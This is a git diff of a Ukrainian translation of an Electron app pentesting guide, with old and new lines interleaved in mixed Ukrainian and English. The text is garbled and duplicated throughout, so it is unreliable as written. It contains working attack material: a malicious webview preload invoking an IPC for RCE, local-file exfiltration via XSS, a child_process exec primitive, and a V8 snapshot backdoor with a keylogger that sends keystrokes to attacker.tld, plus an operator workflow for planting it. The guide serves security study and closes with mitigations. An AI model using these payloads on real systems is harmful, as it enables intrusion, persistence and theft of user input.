The **webviewTag** — це **застаріла функція**, яка дозволяє використовувати **NodeJS** у **renderer process**, її слід вимкнути, оскільки вона дозволяє завантажити скрипт у preload-контекст, наприклад:
|
||||
The **webviewTag** is a **застаріла функція** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Отже, зловмисник, який зможе завантажити довільну сторінку, може використати цей тег, щоб **load an arbitrary preload script**.
|
||||
Отже, нападник, який зуміє завантажити довільну сторінку, може використати цей тег, щоб **завантажити довільний preload-скрипт**.
|
||||
|
||||
Цей preload script потім використовували для виклику **vulnerable IPC service (`skype-new-window`)**, який викликав **`shell.openExternal`** для отримання RCE:
|
||||
Цей preload-скрипт потім був використаний для виклику **вразливої IPC-служби (`skype-new-window`)**, яка викликала **`shell.openExternal`** для отримання RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## Читання внутрішніх файлів: XSS + contextIsolation
|
||||
|
||||
**Вимкнення `contextIsolation` дозволяє використовувати теги `<webview>`, подібно до `<iframe>`, для читання та exfiltrating локальних файлів.** Наведений приклад демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
|
||||
**Вимкнення `contextIsolation` дозволяє використовувати теги `<webview>`**, схожі на `<iframe>`, для читання та exfiltrating локальних файлів. Наведений приклад демонструє, як exploit цю вразливість для читання вмісту внутрішніх файлів:
|
||||
|
||||
.png>)
|
||||
|
||||
Крім того, наведено ще один метод для **читання внутрішнього файлу**, що підкреслює критичну вразливість локального читання файлів в Electron desktop app. Це передбачає впровадження скрипта для експлуатації додатку та exfiltrate data:
|
||||
Крім того, наведено інший метод для **читання внутрішнього файлу**, який підкреслює критичну local file read вразливість в Electron desktop app. Це передбачає впровадження скрипта для exploit додатка та exfiltrate даних:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -271,23 +271,23 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + старий Chromium**
|
||||
## **RCE: XSS + Old Chromium**
|
||||
|
||||
Якщо **chromium**, який використовується додатком, є **старим** і на ньому є **відомі** **vulnerabilities**, може бути можливим експлуатувати його та отримати RCE через XSS.\
|
||||
Якщо **chromium**, який використовує додаток, є **old** і на ньому є **known vulnerabilities**, може стати можливим **exploit it and obtain RCE through a XSS**.\
|
||||
You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing через Internal URL regex bypass**
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або вкрасти внутрішні файли** — можна спробувати використати його, щоб **вкрасти облікові дані через phishing**.
|
||||
Припустимо, ви знайшли XSS, але **cannot trigger RCE or steal internal files** — ви можете спробувати використати його для **steal credentials via phishing**.
|
||||
|
||||
Насамперед потрібно знати, що відбувається, коли ви намагаєтесь відкрити новий URL, переглянувши JS-код у front-end:
|
||||
Насамперед потрібно зрозуміти, що відбувається при спробі відкрити новий URL, перевіривши JS код у front-end:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Виклик **`openInternally`** визначає, чи **link** буде **відкрито** у **вікні десктоп-додатку**, оскільки це посилання, що належить платформі, **або** чи воно буде відкрито у **браузері як сторонній ресурс**.
|
||||
Виклик **`openInternally`** вирішує, чи **link** буде **opened** у **desktop window**, оскільки це посилання, що належить платформі, **or** чи буде відкрито у **browser as a 3rd party resource**.
|
||||
|
||||
У випадку, якщо **regex**, що використовується функцією, є **вразливим до обходів** (наприклад через **неекранування крапок у субдоменах**), зловмисник міг би використати XSS, щоб **відкрити нове вікно, яке** буде розміщене в інфраструктурі атакуючого, **просячи у користувача облікові дані**:
|
||||
Якщо **regex**, що використовується функцією, є **vulnerable to bypasses** (наприклад через **not escaping the dots of subdomains**), атакуючий може зловживати XSS, щоб **open a new window which** розміщувався в інфраструктурі атакувальника і **asking for credentials** у користувача:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -295,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
```
|
||||
## `file://` Протокол
|
||||
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) сторінки, що виконуються через **`file://`**, мають односторонній доступ до всіх файлів на вашій машині, що означає, що уразливості **XSS** можуть бути використані для завантаження довільних файлів із машини користувача. Використання **власного протоколу** запобігає таким проблемам, оскільки ви можете обмежити протокол лише набором конкретних файлів.
|
||||
Як згадано в [документації](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), сторінки, що виконуються під **`file://`**, мають односторонній доступ до всіх файлів на вашому комп'ютері, а це означає, що **XSS issues can be used to load arbitrary files** з машини користувача. Використання **власного протоколу** запобігає подібним проблемам, оскільки ви можете обмежити протокол лише набором конкретних файлів.
|
||||
|
||||
## Модуль remote
|
||||
## Remote module
|
||||
|
||||
Модуль Electron remote дозволяє **процесам renderer отримувати доступ до API основного процесу**, полегшуючи комунікацію в межах Electron-додатку. Однак увімкнення цього модуля створює суттєві ризики безпеки. Він розширює поверхню атаки додатку, роблячи його більш вразливим до вразливостей, таких як атаки cross-site scripting (XSS).
|
||||
Модуль Remote в Electron дозволяє **renderer processes to access main process APIs**, полегшуючи комунікацію всередині Electron-застосунку. Проте увімкнення цього модуля створює суттєві ризики безпеки. Він розширює поверхню атаки застосунку, роблячи його більш вразливим до таких вразливостей, як cross-site scripting (XSS) attacks.
|
||||
|
||||
> [!TIP]
|
||||
> Хоча модуль **remote** відкриває деякі API з main до renderer-процесів, не так просто отримати RCE лише шляхом зловживання компонентами. Проте компоненти можуть відкривати чутливу інформацію.
|
||||
> Хоча модуль **remote** відкриває деякі API з main у renderer processes, отримати RCE лише шляхом зловживання компонентами не так просто. Проте компоненти можуть розкривати чутливу інформацію.
|
||||
|
||||
> [!WARNING]
|
||||
> Багато додатків, що досі використовують модуль remote, роблять це так, що **потребують увімкнення NodeIntegration** у renderer-процесі, і це є **великою загрозою безпеці**.
|
||||
> Багато застосунків, що досі використовують remote module, роблять це так, що **require NodeIntegration to be enabled** у renderer process, що є **великою загрозою безпеці**.
|
||||
|
||||
Зі версії Electron 14 модуль `remote` може бути увімкнений кількома способами; через міркування безпеки та продуктивності **рекомендується не використовувати його**.
|
||||
Починаючи з Electron 14, модуль `remote` може вимагати кілька кроків для ввімкнення; однак з міркувань безпеки та продуктивності **рекомендується його не використовувати**.
|
||||
|
||||
Щоб його ввімкнути, спочатку потрібно **увімкнути його в основному процесі**:
|
||||
Щоб його увімкнути, спочатку потрібно **увімкнути його в main process**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -320,28 +320,28 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Тоді renderer process може імпортувати об'єкти з модуля, наприклад:
|
||||
Тоді процес renderer може імпортувати об'єкти з модуля так:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** вказує на кілька цікавих **функцій**, які надає об'єкт **`app`** з remote module:
|
||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** вказує на кілька цікавих **функцій**, які надає об'єкт **`app`** з віддаленого модуля:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Перезапускає** додаток шляхом **завершення** поточного екземпляра та **запуску** нового. Корисно для **оновлення додатку** або значних **змін стану**.
|
||||
- Перезапускає додаток шляхом завершення поточного екземпляра і запуску нового. Корисно для оновлень додатка або значних змін стану.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Визначає** або **створює** директорію для збереження **логів додатка**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
|
||||
- Визначає або створює директорію для збереження логів додатка. Логи можна отримати або змінити за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **протоколу**. За потреби можна вказати **кастомний шлях** і **аргументи**.
|
||||
- Реєструє поточний виконуваний файл як стандартний обробник для вказаного протоколу. Можна вказати власний шлях і аргументи за потреби.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Додає** завдання до **категорії Tasks** в **Jump List** (на Windows). Кожне завдання може контролювати, як запускається додаток або які **аргументи** передаються.
|
||||
- Додає завдання до категорії Tasks у Jump List (на Windows). Кожне завдання може контролювати, як запускається додаток або які аргументи передаються.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Імпортує** **PKCS#12 сертифікат** у системне сховище сертифікатів (тільки Linux). Можна використовувати **callback** для обробки результату.
|
||||
- Імпортує PKCS#12 certificate до системного сховища сертифікатів (тільки для Linux). Для обробки результату можна використовувати callback.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Переміщує** додаток до папки **Applications** (на macOS). Допомагає забезпечити **стандартну інсталяцію** для користувачів Mac.
|
||||
- Переміщує додаток до Applications folder (на macOS). Допомагає забезпечити стандартну інсталяцію для користувачів Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Встановлює** або **видаляє** **кастомний Jump List** на **Windows**. Можна вказати **категорії**, щоб організувати, як завдання відображаються користувачу.
|
||||
- Встановлює або видаляє власний Jump List у Windows. Можна вказати категорії, щоб організувати, як завдання відображаються користувачеві.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Налаштовує**, які **виконувані файли** запускаються при **вході в систему** разом із їхніми **опціями** (тільки macOS і Windows).
|
||||
- Налаштовує, які виконувані файли запускаються під час входу в систему разом із їхніми опціями (тільки для macOS та Windows).
|
||||
|
||||
Example:
|
||||
```javascript
|
||||
@ -350,7 +350,7 @@ Native.app.exit()
|
||||
```
|
||||
## systemPreferences модуль
|
||||
|
||||
**основний API** для доступу до системних налаштувань та **генерування системних подій** в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** і **setUserDefault**, усі є **частиною** цього модуля.
|
||||
Це **основний API** для доступу до системних налаштувань та **генерації системних подій** в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** та **setUserDefault**, є **частиною** цього модуля.
|
||||
|
||||
**Приклад використання:**
|
||||
```javascript
|
||||
@ -367,31 +367,31 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Слухає** **нативні macOS notifications** через NSDistributedNotificationCenter.
|
||||
* До **macOS Catalina** можна було перехоплювати **всі** distributed notifications, передаючи **nil** в CFNotificationCenterAddObserver.
|
||||
* Після **Catalina / Big Sur** ізольовані додатки все ще можуть **підписуватися** на **багато подій** (наприклад, **screen locks/unlocks**, **volume mounts**, **network activity** тощо) шляхом реєстрації notifications **за іменем**.
|
||||
* **Слухає** нативні сповіщення macOS за допомогою NSDistributedNotificationCenter.
|
||||
* Перед **macOS Catalina** можна було sniff **всі** distributed notifications, передаючи **nil** у CFNotificationCenterAddObserver.
|
||||
* Після **Catalina / Big Sur**, sandboxed apps все ще можуть **підписуватися** на **багато подій** (наприклад, **screen locks/unlocks**, **volume mounts**, **network activity** тощо) шляхом реєстрації notifications **за ім’ям**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Інтерфейсуються** з **NSUserDefaults**, який зберігає **параметри** додатків або глобальні preferences на macOS.
|
||||
* **Інтерфейсується** з NSUserDefaults, який зберігає **аплікаційні** або **глобальні** налаштування в macOS.
|
||||
|
||||
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **шляхи до нещодавніх файлів** або **географічне розташування користувача**.
|
||||
* **getUserDefault** може **отримувати** чутливу інформацію, наприклад **recent file locations** або географічне розташування користувача.
|
||||
|
||||
* **setUserDefault** може **змінювати** ці preferences, потенційно впливаючи на **конфігурацію** додатку.
|
||||
* **setUserDefault** може **змінювати** ці налаштування, потенційно впливаючи на конфігурацію програми.
|
||||
|
||||
* В **старіших версіях Electron** (до v8.3.0) був доступний лише **standard suite** NSUserDefaults.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Ця функція показує заданий файл у файловому менеджері, який **може автоматично виконати файл**.
|
||||
Ця функція показує вказаний файл у файловому менеджері, який **може автоматично виконати файл**.
|
||||
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
|
||||
Electron apps повинні мати Content Security Policy (CSP), щоб **запобігти XSS attacks**. CSP — це стандарт безпеки, який допомагає **перешкоджати виконанню untrusted code** в браузері.
|
||||
|
||||
Зазвичай його **налаштовують** у файлі **`main.js`** або в шаблоні **`index.html`** через CSP всередині **meta tag**.
|
||||
Зазвичай він **налаштовується** в файлі `main.js` або в шаблоні `index.html` через CSP у **meta tag**.
|
||||
|
||||
For more information check:
|
||||
|
||||
@ -403,10 +403,10 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
|
||||
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||
|
||||
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
Цей реальний ланцюжок вплинув на Visual Studio Code 1.63 (CVE-2021-43908) і демонструє, як одиничний markdown-driven XSS у webview може ескалуватися до повного RCE, коли CSP, postMessage та scheme handlers неправильно налаштовані. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
|
||||
Attack chain overview
|
||||
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s leaked ID.
|
||||
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
|
||||
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||||
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
|
||||
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
|
||||
@ -418,7 +418,7 @@ Example RCE primitive in the final context
|
||||
require('child_process').exec('calc.exe'); // Windows
|
||||
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||
```
|
||||
Додаткова література щодо проблем довіри postMessage:
|
||||
Related reading on postMessage trust issues:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||
@ -426,16 +426,16 @@ require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||
|
||||
## **Інструменти**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) — інструмент для виявлення помилок конфігурації та security anti-patterns у додатках на базі Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — open source плагін для VS Code для додатків Electron, який використовує Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) — для перевірки вразливих сторонніх бібліотек
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) — інструмент для ідентифікації misconfigurations і security anti-patterns у додатках на Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — open source плагін для VS Code для додатків на Electron, який використовує Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) — для перевірки наявності вразливих сторонніх бібліотек
|
||||
- [**Electro.ng**](https://electro.ng/): Потрібно купити
|
||||
|
||||
## Лабораторії
|
||||
## Лаби
|
||||
|
||||
У [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) можна знайти лабораторію для експлуатації вразливих додатків Electron.
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
|
||||
|
||||
Декілька команд, які допоможуть вам у лабораторії:
|
||||
Деякі команди, які допоможуть вам у лабораторній роботі:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -458,18 +458,18 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## Локальне backdooring через підробку V8 heap snapshot (Electron/Chromium) – CVE-2025-55305
|
||||
## Локальне backdooring через V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Electron and Chromium-based apps десеріалізують заздалегідь зібраний V8 heap snapshot під час старту (v8_context_snapshot.bin, а опційно browser_v8_context_snapshot.bin), щоб ініціалізувати кожен V8 isolate (main, preload, renderer). Історично integrity fuses Electron не розглядали ці snapshots як виконуваний вміст, тож вони уникали як fuse-based enforcement цілісності, так і перевірок підпису коду ОС. У результаті заміна snapshot у встановленні, доступному для запису користувача, забезпечувала приховане, персистентне виконання коду всередині додатка без модифікації підписаних бінарників або ASAR.
|
||||
Electron і Chromium-based додатки десеріалізують попередньо збудований V8 heap snapshot під час запуску (v8_context_snapshot.bin, і опційно browser_v8_context_snapshot.bin) для ініціалізації кожного V8 isolate (main, preload, renderer). Історично Electron’s integrity fuses не розглядали ці snapshots як виконуваний вміст, тож вони уникали і fuse-based integrity enforcement, і перевірок OS code-signing. Внаслідок цього заміна snapshot в інсталяції, доступній для запису користувачем, надавала приховане, персистентне виконання коду всередині додатка без модифікації підписаних бінарників або ASAR.
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar перевіряють JavaScript додатка всередині ASAR, але вони не охоплювали V8 heap snapshots (CVE-2025-55305). Chromium аналогічно не виконує integrity-check snapshots.
|
||||
- Attack preconditions: Local file write into the app’s installation directory. Це поширено на системах, де Electron apps або Chromium browsers встановлені в шляхи, доступні для запису користувача (наприклад, %AppData%\Local на Windows; /Applications з оговорками на macOS).
|
||||
- Effect: Надійне виконання JavaScript зловмисника в будь-якому isolate шляхом перезапису часто використовуваного builtin (a “gadget”), що дозволяє персистентність і уникнення перевірки підпису коду.
|
||||
- Affected surface: Electron apps (навіть із увімкненими fuses) та Chromium-based browsers, які завантажують snapshots з місць, доступних для запису користувача.
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation і OnlyLoadAppFromAsar перевіряють app JavaScript всередині ASAR, але вони не покривали V8 heap snapshots (CVE-2025-55305). Chromium аналогічно не integrity-checks snapshots.
|
||||
- Attack preconditions: локальний запис файлів у директорію інсталяції додатка. Це звично на системах, де Electron apps або Chromium browsers встановлені у шляхи, доступні для запису користувачем (наприклад, %AppData%\Local на Windows; /Applications з певними застереженнями на macOS).
|
||||
- Effect: надійне виконання зловмисницького JavaScript у будь-якому isolate шляхом перезапису часто використовуваного builtin (a “gadget”), що дозволяє persistence і уникнення перевірки code-signing.
|
||||
- Affected surface: Electron apps (навіть з увімкненими fuses) та Chromium-based browsers, які завантажують snapshots з локацій, доступних для запису користувачем.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
- Використайте попередньо збудований electron/mksnapshot, щоб скомпілювати payload JS у snapshot і перезаписати v8_context_snapshot.bin додатка.
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
@ -486,10 +486,10 @@ throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||
- Main process detection: У ізоляції main process присутні Node-only globals, такі як process.pid, process.binding(), або process.dlopen.
|
||||
- Browser/renderer detection: Browser-only globals, такі як alert, доступні під час виконання в контексті документа.
|
||||
- Виявлення головного процесу: глобальні змінні, доступні лише в Node, такі як process.pid, process.binding(), або process.dlopen, присутні в ізоляції головного процесу.
|
||||
- Виявлення браузера/рендерера: глобальні змінні, доступні лише в браузері, такі як alert, доступні під час виконання в контексті документу.
|
||||
|
||||
Приклад gadget'а, який одноразово перевіряє можливості Node у main-process
|
||||
Example gadget that probes main-process Node capabilities once
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
@ -518,7 +518,7 @@ process.exit(0);
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Renderer/browser-context PoC викрадення даних (наприклад, Slack)
|
||||
PoC викрадення даних у renderer/browser-context (наприклад, Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
@ -542,31 +542,27 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Операційний робочий процес
|
||||
1) Напишіть payload.js, який перезаписує загальний builtin (наприклад, Array.isArray) і, за бажанням, гілкується за isolate.
|
||||
2) Створіть snapshot без вихідників Chromium:
|
||||
Робочий процес оператора
|
||||
1) Напишіть payload.js, який перезаписує поширений вбудований метод (наприклад, Array.isArray) і за потреби робить розгалуження для кожного isolate.
|
||||
2) Build the snapshot without Chromium sources:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Перезапишіть файл(и) snapshot цільового додатка:
|
||||
- v8_context_snapshot.bin (завжди використовується)
|
||||
- browser_v8_context_snapshot.bin (якщо використовується fuse LoadBrowserProcessSpecificV8Snapshot)
|
||||
4) Запустіть додаток; гаджет виконується щоразу, коли використовується обраний builtin.
|
||||
- v8_context_snapshot.bin (always used)
|
||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||||
4) Запустіть додаток; the gadget виконується щоразу, коли використовується вибраний builtin.
|
||||
|
||||
Нотатки та зауваження
|
||||
- Integrity/signature bypass: Файли snapshot не розглядаються як нативні виконувані файли під час перевірок code-signing і (історично) не покривалися fuses Electron або контролями цілісності Chromium.
|
||||
- Persistence: Замiна snapshot у встановленні, доступному для запису користувачем, зазвичай переживає перезапуски додатку і виглядає як підписаний, легітимний додаток.
|
||||
- Chromium browsers: Такий самий підхід до підтасовування застосовується до Chrome/похідних, встановлених у місцях з правами запису для користувача. Chrome має інші механізми захисту цілісності, але явно виключає фізично локальні атаки зі своєї моделі загроз.
|
||||
Примітки та зауваження
|
||||
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
|
||||
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
|
||||
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
|
||||
|
||||
Виявлення та пом’якшення
|
||||
- Розглядати snapshot як виконуваний вміст і включити їх у забезпечення цілісності (виправлення CVE-2025-55305).
|
||||
- Віддавати перевагу місцям встановлення з правами запису лише для admin; створити базові значення та моніторити хеші для v8_context_snapshot.bin і browser_v8_context_snapshot.bin.
|
||||
- Виявляти раннє перезаписування builtin під час раннього виконання та несподівані зміни snapshot; сигналізувати, коли десеріалізовані snapshot не відповідають очікуваним значенням.
|
||||
Виявлення та пом'якшення
|
||||
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
|
||||
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
|
||||
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
|
||||
|
||||
## **Посилання**
|
||||
|
||||
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
|
Loading…
x
Reference in New Issue
Block a user